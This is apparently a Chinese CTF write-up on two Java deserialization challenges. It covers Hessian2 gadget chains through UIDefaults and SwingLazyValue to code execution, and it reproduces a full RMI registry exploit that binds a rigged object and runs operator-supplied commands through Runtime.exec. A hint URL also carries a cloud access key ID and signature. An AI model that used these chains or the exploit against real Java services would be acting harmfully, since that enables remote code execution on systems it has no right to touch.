hessian-onlyjdk 题目给了两个hints:https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww https://x-stream.github.io/CVE-2021-21346.html
其实只要看过2022KCon wh1t3p1g师傅的演讲,就会对这道题很熟悉。师傅在会是说可以用tabby找一下CVE-2021-21346
onlyjdk的利用链。
思路 第一个hint是hessian2的某些版本存在一个能触发obj.toString
的漏洞; 第二个hint是XStream的一个反序列化洞,利用链如下:
1 2 3 4 5 6 7 8 javax.naming.ldap.Rdn$RdnEntry.compareTo com.sun.org.apache.xpath.internal.objects.XString.equal javax.swing.MultiUIDefaults.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
其中SwingLazyValue.createValue
可以调用任何Public并且static的函数。
这时的初步想法是根据CVE-2021-43297
触发MultiUIDefaults#toString
然后走CVE-2021-21346剩下的链,构成RCE。 但是拼接完之后发现报错 看到有师傅的博客 介绍
1 2 3 4 5 6 7 8 9 10 11 javax.swing.MultiUIDefaults是protect类,被protected 修饰的成员对于本包和其子类可见,即只能在javax.swing.中使用,而Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限 所以要的类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2 会自动挨个测试构造器直到成功。 对于存在Map类型的利用链,例如ysoserial中的cc5部分: TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() 这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这 里LazeMap就断了。 扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。
用CodeQL找一下能替代MultiUIDefaults
的类,满足以下条件条件:
toString的类是public
toString的类的构造函数是public
toString方法到java.util.Hashtable#get方法有路径
但是通过codeql,我找到了497条结果,晕了。不过如果换一个满足题目的jdk版本,然后再找一下路径少的,应该也很快能找到。
由于题目使用javaagent禁了JavaUtil(这个类的静态方法能写文件),还需要找一个至少能读文件的public static的函数。
exp1 有师傅找的PKCS9Attributes这个类。这样调用链如下:
1 2 3 4 5 6 sun.security.pkcs.PKCS9Attributes.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue
由于题目使用javaagent禁了JavaUtil(这个类的静态方法能写文件),Siebene@师傅找到了能调用bcel加载器的JavaWrapper。 这样调用链如下:
1 2 3 4 5 6 7 sun.security.pkcs.PKCS9Attributes.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue JavaWrapper._main JavaWrapper.runMain
exp2 有师傅直接找到LazyValueForHessian
的利用链。入口是MimeTypeParameterList.toString
,使用exp1中的CodeQL也能找到这个类。 代码执行部分师傅们使用的是SwingLazyValue
执行com.sun.org.apache.xalan.internal.xslt.Process#_main
exp3 jndi中由于高版本关了远程codebase的信任,从而无法实现jndi注入,但是修改这个属性的System.setProperty却是一个静态方法,可以在这里被createValue调用,直接一键打通,然后再用开头给的XStream的javax.naming.InitialContext.doLookup即可
总结 其实这道题就是找替代MultiUIDefaults
执行toString
的类,以及替代JavaUtils
写文件的类 上面两个exp分别使用PKCS9Attributes
和MimeTypeParameterList
替代了MultiUIDefaults
使用能调用bcel加载器的JavaWrapper
和com.sun.org.apache.xalan.internal.xslt.Process
替代JavaUtils
。
⚠️ 另外值得注意的是,如果setFieldValue
失败的话记得把编译器如IDEA的debug 'toString()' object view
关了,不然不管是否debug都会出问题,具体什么问题还不知道,至少是set不进去参数。这个挺离谱的,打开debug 'toString()' object view
即使没有debug,依然set不进去参数。
3RM1 赛题思路 这道题给了两个hinthttps://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf page50https://dmsj-zjk.oss-cn-zhangjiakou.aliyuncs.com/data%2Fmedia%2Fattachment%2F9b7161ce-768d-4f55-8482-ec7a94d6d0f0?OSSAccessKeyId=LTAI4GKC6j39Agb66ieR44Ke&Expires=1663518303&Signature=wods1CE20HR0HrK7ViaCXXsf1vQ%3D
思路也出来了:通过第一个提示CVE-2019-2684,进行rebind/bind。第二个是ysoserial的Spring1的payload,可能就是模仿构造本题的利用链。 这里直接贴一下perfectblue队大佬的wp,我个人的理解直接写到注释了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 public class my_Exp { public static void main (String[] args) throws Throwable { String REMOTE = "127.0.0.1" ; String bindName = "user_" + System.currentTimeMillis(); my_Exploit localExploit = new my_Exploit (); Remote remoteExploit = UnicastRemoteObject.exportObject(localExploit, 50805 ); Target target = ObjectTable.getTarget(localExploit); Field dispatcherField = Target.class.getDeclaredField("disp" ); dispatcherField.setAccessible(true ); Dispatcher dispatcher = (Dispatcher) dispatcherField.get(target); Field hashToMethod_MapField = UnicastServerRef.class.getDeclaredField("hashToMethod_Map" ); hashToMethod_MapField.setAccessible(true ); Map<Long, Method> hashToMethod_Map = (Map<Long, Method>) hashToMethod_MapField.get(dispatcher); hashToMethod_Map.put(Util.computeMethodHash(UserInter.class.getDeclaredMethod("sayHello" , String.class)), my_Exploit.class.getDeclaredMethod("getStage1Gadget" , String.class)); hashToMethod_Map.put(Util.computeMethodHash(UserInter.class.getDeclaredMethod("getGirlFriend" )), my_Exploit.class.getDeclaredMethod("getStage2Gadget" )); hashToMethod_Map.put(Util.computeMethodHash(FactoryInter.class.getDeclaredMethod("getObject" )), my_Exploit.class.getDeclaredMethod("getStage3Gadget" )); localExploit.ref = new UnicastRef (((UnicastServerRef) dispatcher).getLiveRef()); localExploit.name = bindName; System.out.println("[+] connected to remote registry" ); Registry registry = (Registry) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{Registry.class}, new RemoteObjectInvocationHandler (new UnicastRef ( new LiveRef (new ObjID (ObjID.REGISTRY_ID), new TCPEndpoint (REMOTE, 1099 ), false )) ) ); for (String s : registry.list()) { System.out.println("[+] found binding " + s); } System.out.println("[+] binding " + bindName + " to " + localExploit.getClass().getName()); registry.bind(bindName, remoteExploit); System.out.println("[+] done!" ); Scanner scanner = new Scanner (System.in); while (true ) { System.out.print("<<< " ); localExploit.command = scanner.nextLine(); new URL ("http://" + REMOTE + ":8090/?" + bindName).openConnection().getInputStream(); } } }
利用链代码就不贴了,利用链的解释引用一下大佬的wp
1 2 3 4 5 6 7 8 9 Bind our exploit class and overwrite some local method handlers a. `sayHello` becomes `getStage1Payload` -> returns a `Gadget` which will execute payload on deserialization (even though remote wants a String) i. The `user` in `Gadget` is a `RemoteObjectInvocationHandler` so we can return a custom for `getGirlFriend` b. `getGirlFriend` becomes `getStage2Payload` -> gets executed by Gadget and returns an instance of `Friend` and `Templates` (class created dynamically) i. The generated proxy uses a `MyInvocationHandler` so we can control which object gets invoked (another `RemoteObjectInvocationHandler`) ii. This `RemoteObjectInvocationHandler` calls back to us again, through another dynamic class that implements `FactoryInter` and `Remote` c. `getObject` becomes `getStage3Payload` which returns a `TemplatesImpl` that dynamically creates a class that will `Runtime.getRuntime().exec()` a single command and return it via `sayHello`
其实有了这个poc,能做很多事,并不会被局限到这道题中。
通过这次比赛还算学到一些东西吧,同时也深感自己太菜了,还要努力